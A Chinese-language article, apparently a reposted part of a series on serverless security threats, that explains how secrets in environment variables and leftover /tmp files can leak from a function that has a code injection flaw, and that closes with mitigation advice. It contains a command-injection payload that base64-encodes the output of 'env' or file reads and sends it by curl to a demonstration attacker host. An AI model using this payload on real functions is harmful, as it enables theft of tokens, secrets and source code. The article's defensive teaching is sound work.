深入考察无服务器架构的安全威胁，敏感数据泄露

我们要控制的部分是作为环境变量传递给函数的那些我们自己的机密信息。它们都应该通过同样的方式访问;通过代码或系统进程调用它们。如果它们包含敏感信息，则应考虑对它们进行加密保护。这样，系统进程将无法看到它们的实际值(请回顾一下env的屏幕截图)。但是，如果该函数存在代码注入漏洞，那么攻击者则可以直接运行读取其值的代码。

ENCRYPTED = os.environ['third_party_api_key'] 
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext'] 

C.我们的文件

在无服务器环境中，除了/tmp文件夹之外，文件系统都应该是只读的;/tmp文件夹是应用程序存放自身文件的位置(如果有的话)。让我再次使用俺的通灵能力，来指出您现在的想法……无服务器的环境是不是临时的，所有的文件都被删除后，该函数执行完其代码了吗?嗯，这种想法并非完全错误，至少对了一部分，但并非绝对正确。只有当该函数保持空闲状态一段时间(在AWS上大约为4分钟)时，该函数的环境才会被完全删除。但是，如果在该时间范围内至少被调用一次，它很可能会进入与以前完全相同的环境中。当然，我们不敢打包票，但在这个时间内，通常会有一些事件出现。当然，这是出于性能的考虑。

如果您的函数是易受攻击的，并且使用了包含敏感信息的文件，那么它的数据很可能会被攻击者所窃取。为了演示其内在原理，不妨回顾一下前面给出的两个curl命令。实际上，这两个调用都会将数据(base64编码)写入/tmp/b64文件。

如果先运行“ls”调用的话，可以看到/out/b64文件的大小为252字节。但是，如果先运行“cat”调用，然后再运行ls命令的话，则会看到文件大小会有所不同，它会变为1496字节。这意味着“ls”调用的输出结果显示的是“cat”调用的输出内容。当然，如果再次运行“ls”调用，看到的数字将是252，因为上一个调用是“ls”。

我们什么时候需要担心这个安全问题呢?如果我们的代码含有任何类型的代码注入漏洞，那就要倍加小心了;不管问题出现在进程还是表达式api (例如eval )中，也无论到底是开发人员本身还是依赖库造成的，攻击者都可以访问和/或修改我们的敏感数据。例如，假设我提供给您的函数带有这种漏洞，比方说可以通过json值注入命令。那么，攻击者只需：

--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}' 

其中$secret的值可以是“cat main.py”，这样就可以获取我们的代码。其中，“env”，表示从环境变量中窃取令牌和机密信息。或者，“cat/tmp/leftover.file”，表示在/tmp文件夹下没有提供安全保护措施的敏感文件。

我们已经试过了，对吧?上面的命令会输出机密信息，将其编码为base64形式，并将其发送到攻击者指定的位置(例如serverless.fail)。现在，他们要做的就是破解它，然后大干一场!这样，您就有机会登上新闻头版了……开个玩笑。

总而言之，我们该如何应对呢?下面，我们简单总结一下:

• 对于敏感数据，除非绝对必要，否则不要存储。
• 始终为静态和传输过程中的敏感数据提供严格的保护措施。尽可能使用基础架构供应商提供的加密和密钥管理服务来存储数据、机密信息和环境变量。· 避免在代码存储库和任何其他共享位置存放密钥。
•  通过限制函数的权限来减小攻击面。
• 进行代码审查和静态分析，以找出代码中的漏洞。
• 监控依赖代码库的安全问题，以避免将已知漏洞引入我们自己的应用程序。
• 使用完毕后，从/tmp中删除相关的敏感文件。

【编辑推荐】

1. 四张图带你了解Tomcat系统架构——让面试官颤抖的Tomcat回答系列！
2. 10张图带你了解后台服务架构演变
3. 成为“黑客”前，必须学习的“操作系统架构体系”
4. 深入考察无服务器架构的安全威胁，SLS-1：事件注入
5. Nginx服务器架构揭秘

（编辑：孝感站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!